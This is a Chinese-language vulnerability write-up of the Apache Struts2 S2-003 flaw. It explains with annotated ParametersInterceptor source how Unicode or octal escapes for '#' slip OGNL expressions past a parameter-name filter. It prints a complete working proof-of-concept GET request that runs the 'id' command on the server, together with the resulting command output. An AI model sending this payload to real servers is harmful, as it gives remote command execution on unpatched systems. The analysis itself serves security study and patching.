Struts2框架: S2-003 漏洞详细分析
0x00 前言
阅读本文需要具备的知识:
- 熟悉J2EE开发
- 了解Struts2框架执行流程
如果你不具备这些知识, 阅读这篇文章将会是一场艰难的旅行.
0x01 漏洞复现
影响漏洞版本:
Struts 2.0.0 - Struts 2.0.11.2
漏洞靶机代码: (下方通过该代码进行分析, 务必下载本地对比运行)
https://github.com/dean2021/java_security_book/tree/master/Struts2/s2_003
公布的POC:
GET /s2_war/index.action?(%27\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\u003dfalse%27)(bla)(bla)&(%27\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET%27)(kxlzx)(kxlzx)&(%27\u0023mycmd\u003d\%27id\%27%27)(bla)(bla)&(%27\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)%27)(bla)(bla)&(A)((%27\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())%27)(bla))&(B)((%27\u0023myres\u003dnew\40byte[51020]%27)(bla))&(C)((%27\u0023mydat.readFully(\u0023myres)%27)(bla))&(D)((%27\u0023mystr\u003dnew\40java.lang.String(\u0023myres)%27)(bla))&(%27\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()%27)(bla)(bla)&(E)((%27\u0023myout.getWriter().println(\u0023mystr)%27)(bla)) HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,pt;q=0.7,da;q=0.6
Cookie: JSESSIONID=FC7DC2221FDB37EAE855C6E6A11E9CC1; _ga=GA1.1.267931382.1545202285
Connection: close
请求响应内容:
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Date: Mon, 24 Dec 2018 09:36:01 GMT
Connection: close
uid=1234556(xxxx) gid=1603212982 groups=1603212982....
0x02 漏洞分析
问题出现在ParameterInterceptors.java(参数拦截器), 我们看一下代码:
public class ParametersInterceptor extends MethodFilterInterceptor {
private static final Log LOG = LogFactory.getLog(ParametersInterceptor.class);
boolean ordered = false;
Set<Pattern> excludeParams = Collections.EMPTY_SET;
Set<Pattern> acceptedParams = Collections.EMPTY_SET;
// 正则判断参数名是否包含这些特殊字符
private String acceptedParamNames = "[\\p{Graph}&&[^,#:=]]*";
private Pattern acceptedPattern = Pattern.compile(acceptedParamNames);
static boolean devMode = false;
@Inject(value = "devMode", required = false)
public static void setDevMode(String mode) {
devMode = "true".equals(mode);
}
public void setAcceptedParamNames(String commaDelim) {
Collection<String> acceptPatterns = asCollection(commaDelim);
if (acceptPatterns != null) {
acceptedParams = new HashSet<Pattern>();
for (String pattern : acceptPatterns) {
acceptedParams.add(Pattern.compile(pattern));
}
}
}
/**
* Compares based on number of '.' characters (fewer is higher)
*/
static final Comparator rbCollator = new Comparator() {
public int compare(Object arg0, Object arg1) {
String s1 = (String) arg0;
String s2 = (String) arg1;
int l1 = 0, l2 = 0;
for (int i = s1.length() - 1; i >= 0; i--) {
if (s1.charAt(i) == '.') l1++;
}
for (int i = s2.length() - 1; i >= 0; i--) {
if (s2.charAt(i) == '.') l2++;
}
return l1 < l2 ? -1 : (l2 < l1 ? 1 : s1.compareTo(s2));
}
;
};
// 拦截器入口方法
public String doIntercept(ActionInvocation invocation) throws Exception {
Object action = invocation.getAction();
if (!(action instanceof NoParameters)) {
ActionContext ac = invocation.getInvocationContext();
// 获取所有参数
final Map parameters = ac.getParameters();
if (LOG.isDebugEnabled()) {
LOG.debug("Setting params " + getParameterLogMap(parameters));
}
if (parameters != null) {
Map contextMap = ac.getContextMap();
try {
OgnlContextState.setCreatingNullObjects(contextMap, true);
OgnlContextState.setDenyMethodExecution(contextMap, true);
OgnlContextState.setReportingConversionErrors(contextMap, true);
ValueStack stack = ac.getValueStack();
// 将所有参数存放到OGNL栈中, 我们跟进实现
setParameters(action, stack, parameters);
} finally {
OgnlContextState.setCreatingNullObjects(contextMap, false);
OgnlContextState.setDenyMethodExecution(contextMap, false);
OgnlContextState.setReportingConversionErrors(contextMap, false);
}
}
}
return invocation.invoke();
}
protected void setParameters(Object action, ValueStack stack, final Map parameters) {
ParameterNameAware parameterNameAware = (action instanceof ParameterNameAware)
? (ParameterNameAware) action : null;
Map params = null;
if (ordered) {
params = new TreeMap(getOrderedComparator());
params.putAll(parameters);
} else {
params = new TreeMap(parameters);
}
for (Iterator iterator = params.entrySet().iterator(); iterator.hasNext();) {
Map.Entry entry = (Map.Entry) iterator.next();
String name = entry.getKey().toString();
// 这里对参数名进行了特殊字符判断,其中包括#字符
// 由于我们用\u0023替代#绕过正则判断
boolean acceptableName = acceptableName(name)
&& (parameterNameAware == null
|| parameterNameAware.acceptableParameterName(name));
if (acceptableName) {
Object value = entry.getValue();
try {
// 此时的name为我们的OGNL表达式,从而触发了OGNL表达式
stack.setValue(name, value);
} catch (RuntimeException e) {
if (devMode) {
String developerNotification = LocalizedTextUtil.findText(ParametersInterceptor.class, "devmode.notification", ActionContext.getContext().getLocale(), "Developer Notification:\n{0}", new Object[]{
e.getMessage()
});
LOG.error(developerNotification);
if (action instanceof ValidationAware) {
((ValidationAware) action).addActionMessage(developerNotification);
}
} else {
LOG.error("ParametersInterceptor - [setParameters]: Unexpected Exception caught setting '" + name + "' on '" + action.getClass() + ": " + e.getMessage());
}
}
}
}
}
/**
* Gets an instance of the comparator to use for the ordered sorting. Override this
* method to customize the ordering of the parameters as they are set to the
* action.
*
* @return A comparator to sort the parameters
*/
protected Comparator getOrderedComparator() {
return rbCollator;
}
private String getParameterLogMap(Map parameters) {
if (parameters == null) {
return "NONE";
}
StringBuffer logEntry = new StringBuffer();
for (Iterator paramIter = parameters.entrySet().iterator(); paramIter.hasNext();) {
Map.Entry entry = (Map.Entry) paramIter.next();
logEntry.append(String.valueOf(entry.getKey()));
logEntry.append(" => ");
if (entry.getValue() instanceof Object[]) {
Object[] valueArray = (Object[]) entry.getValue();
logEntry.append("[ ");
for (int indexA = 0; indexA < (valueArray.length - 1); indexA++) {
Object valueAtIndex = valueArray[indexA];
logEntry.append(valueAtIndex);
logEntry.append(String.valueOf(valueAtIndex));
logEntry.append(", ");
}
logEntry.append(String.valueOf(valueArray[valueArray.length - 1]));
logEntry.append(" ] ");
} else {
logEntry.append(String.valueOf(entry.getValue()));
}
}
return logEntry.toString();
}
protected boolean acceptableName(String name) {
if (isAccepted(name) && !isExcluded(name)) {
return true;
}
return false;
}
protected boolean isAccepted(String paramName) {
if (!this.acceptedParams.isEmpty()) {
for (Pattern pattern : acceptedParams) {
Matcher matcher = pattern.matcher(paramName);
if (!matcher.matches()) {
return false;
}
}
}
// 这里进行了正则匹配
return acceptedPattern.matcher(paramName).matches();
}
protected boolean isExcluded(String paramName) {
if (!this.excludeParams.isEmpty()) {
for (Pattern pattern : excludeParams) {
Matcher matcher = pattern.matcher(paramName);
if (matcher.matches()) {
return true;
}
}
}
return false;
}
/**
* Whether to order the parameters or not
*
* @return True to order
*/
public boolean isOrdered() {
return ordered;
}
/**
* Set whether to order the parameters by object depth or not
*
* @param ordered True to order them
*/
public void setOrdered(boolean ordered) {
this.ordered = ordered;
}
/**
* Gets a set of regular expressions of parameters to remove
* from the parameter map
*
* @return A set of compiled regular expression patterns
*/
protected Set getExcludeParamsSet() {
return excludeParams;
}
/**
* Sets a comma-delimited list of regular expressions to match
* parameters that should be removed from the parameter map.
*
* @param commaDelim A comma-delimited list of regular expressions
*/
public void setExcludeParams(String commaDelim) {
Collection<String> excludePatterns = asCollection(commaDelim);
if (excludePatterns != null) {
excludeParams = new HashSet<Pattern>();
for (String pattern : excludePatterns) {
excludeParams.add(Pattern.compile(pattern));
}
}
}
/**
* Return a collection from the comma delimited String.
*
* @param commaDelim
* @return A collection from the comma delimited String.
*/
private Collection asCollection(String commaDelim) {
if (commaDelim == null || commaDelim.trim().length() == 0) {
return null;
}
return TextParseUtil.commaDelimitedStringToSet(commaDelim);
}
}
分析完,原理就是对参数名特殊字符过滤不完善,通过\u0023(16进制的#)绕过正则表达式,从而执行了OGNL表达式.
TIPS: 用八进制的\43也可以绕过.
0x03 漏洞修复
官方给的建议升级 Struts 2.0.12 或 升级 XWork 2.0.6
Developers should immediately upgrade to Struts 2.0.12 or upgrade to XWork 2.0.6
但实践证明并没有卵用, 由于是老版本的漏洞分析,我也懒得diff代码了。